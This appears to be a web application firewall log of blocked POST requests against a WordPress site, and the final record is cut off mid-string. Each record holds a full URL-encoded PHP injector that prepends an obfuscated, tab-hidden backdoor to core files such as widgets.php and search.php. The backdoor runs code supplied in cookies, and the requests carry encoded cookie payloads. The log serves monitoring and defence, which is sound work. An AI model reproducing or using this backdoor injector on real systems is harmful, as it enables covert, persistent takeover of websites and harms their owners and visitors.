["2026-05-12 10:57:27","160.250.186.220","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> fe:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/widgets.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B12%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D8%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B12%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B12%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B12%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B8%252B1%253B%257D%2524k%253D%2524p%255B16%255D%2528%2529.%2524p%255B3%255D%253Bif%2528%2521%2524p%255B21%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B4%255D%2528%2524k%252C%2524p%255B17%255D%2529%253B%2524p%255B2%255D%2528%2524n%252C%2524p%255B15%255D.%2524p%255B18%255D%2528%2524p%255B26%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?1\nsec-ch-ua-platform:\"Android\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMzHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAlMJS0MJDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:3229\n\nfe=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/widgets.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B12%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D8%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B12%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B12%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B12%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B8%252B1%253B%257D%2524k%253D%2524p%255B16%255D%2528%2529.%2524p%255B3%255D%253Bif%2528%2521%2524p%255B21%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B4%255D%2528%2524k%252C%2524p%255B17%255D%2529%253B%2524p%255B2%255D%2528%2524n%252C%2524p%255B15%255D.%2524p%255B18%255D%2528%2524p%255B26%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:57:45","129.121.41.228","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ie:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/search.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-9%252B9%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-23%252B24%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B6%252B-3%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B9-5%255D%2529%2529%2520%257B%2520%2524comp%2520%253D%2520%2524_COOKIE%253B%2520function%2520module_controller%2528%2524itm%2529%2520%257B%2520%2524comp%2520%253D%2520%2524_COOKIE%253B%2520%2524ent%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527e61beecb%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524ent%2529%2529%2520%257B%2520%2524ent%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522buffer_cache%2522%253B%2520%257D%2520%2524value%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524comp%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524ent%2529%2529%2520%257B%2520%2524object%2520%253D%2520fopen%2528%2524ent%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524object%252C%2520%2524value%2529%253B%2520fclose%2528%2524object%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524ent%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524ent%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522module_controller%2522%2529%253B%2520%2524key%2520%253D%2520%252226cdccacbf3bb447da3127689bf19f2d%2522%253B%2520if%2520%2528%2521strncmp%2528%2524key%252C%2520%2524comp%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522event_handler_mutex_lock%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnJHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhqTIlozSfVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:4280\n\nie=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/search.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-9%252B9%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-23%252B24%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B6%252B-3%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B9-5%255D%2529%2529%2520%257B%2520%2524comp%2520%253D%2520%2524_COOKIE%253B%2520function%2520module_controller%2528%2524itm%2529%2520%257B%2520%2524comp%2520%253D%2520%2524_COOKIE%253B%2520%2524ent%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527e61beecb%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524ent%2529%2529%2520%257B%2520%2524ent%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522buffer_cache%2522%253B%2520%257D%2520%2524value%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524comp%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524ent%2529%2529%2520%257B%2520%2524object%2520%253D%2520fopen%2528%2524ent%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524object%252C%2520%2524value%2529%253B%2520fclose%2528%2524object%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524ent%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524ent%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522module_controller%2522%2529%253B%2520%2524key%2520%253D%2520%252226cdccacbf3bb447da3127689bf19f2d%2522%253B%2520if%2520%2528%2521strncmp%2528%2524key%252C%2520%2524comp%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522event_handler_mutex_lock%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:57:54","52.232.35.131","POST","\/","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> hw:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/search.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-9%252B9%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-23%252B24%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B6%252B-3%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B9-5%255D%2529%2529%2520%257B%2520%2524comp%2520%253D%2520%2524_COOKIE%253B%2520function%2520module_controller%2528%2524itm%2529%2520%257B%2520%2524comp%2520%253D%2520%2524_COOKIE%253B%2520%2524ent%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527e61beecb%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524ent%2529%2529%2520%257B%2520%2524ent%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522buffer_cache%2522%253B%2520%257D%2520%2524value%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524comp%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524ent%2529%2529%2520%257B%2520%2524object%2520%253D%2520fopen%2528%2524ent%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524object%252C%2520%2524value%2529%253B%2520fclose%2528%2524object%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524ent%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524ent%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522module_controller%2522%2529%253B%2520%2524key%2520%253D%2520%252226cdccacbf3bb447da3127689bf19f2d%2522%253B%2520if%2520%2528%2521strncmp%2528%2524key%252C%2520%2524comp%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522event_handler_mutex_lock%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?1\nsec-ch-ua-platform:\"Android\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnUpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmMKZvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:4280\n\nhw=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/search.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-9%252B9%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-23%252B24%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B6%252B-3%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B9-5%255D%2529%2529%2520%257B%2520%2524comp%2520%253D%2520%2524_COOKIE%253B%2520function%2520module_controller%2528%2524itm%2529%2520%257B%2520%2524comp%2520%253D%2520%2524_COOKIE%253B%2520%2524ent%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527e61beecb%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524ent%2529%2529%2520%257B%2520%2524ent%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522buffer_cache%2522%253B%2520%257D%2520%2524value%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524comp%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524ent%2529%2529%2520%257B%2520%2524object%2520%253D%2520fopen%2528%2524ent%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524object%252C%2520%2524value%2529%253B%2520fclose%2528%2524object%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524ent%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524ent%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522module_controller%2522%2529%253B%2520%2524key%2520%253D%2520%252226cdccacbf3bb447da3127689bf19f2d%2522%253B%2520if%2520%2528%2521strncmp%2528%2524key%252C%2520%2524comp%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522event_handler_mutex_lock%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:57:56","69.167.165.138","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> EW:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/search.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-9%252B9%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-23%252B24%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B6%252B-3%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B9-5%255D%2529%2529%2520%257B%2520%2524comp%2520%253D%2520%2524_COOKIE%253B%2520function%2520module_controller%2528%2524itm%2529%2520%257B%2520%2524comp%2520%253D%2520%2524_COOKIE%253B%2520%2524ent%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527e61beecb%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524ent%2529%2529%2520%257B%2520%2524ent%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522buffer_cache%2522%253B%2520%257D%2520%2524value%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524comp%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524ent%2529%2529%2520%257B%2520%2524object%2520%253D%2520fopen%2528%2524ent%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524object%252C%2520%2524value%2529%253B%2520fclose%2528%2524object%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524ent%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524ent%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522module_controller%2522%2529%253B%2520%2524key%2520%253D%2520%252226cdccacbf3bb447da3127689bf19f2d%2522%253B%2520if%2520%2528%2521strncmp%2528%2524key%252C%2520%2524comp%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522event_handler_mutex_lock%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3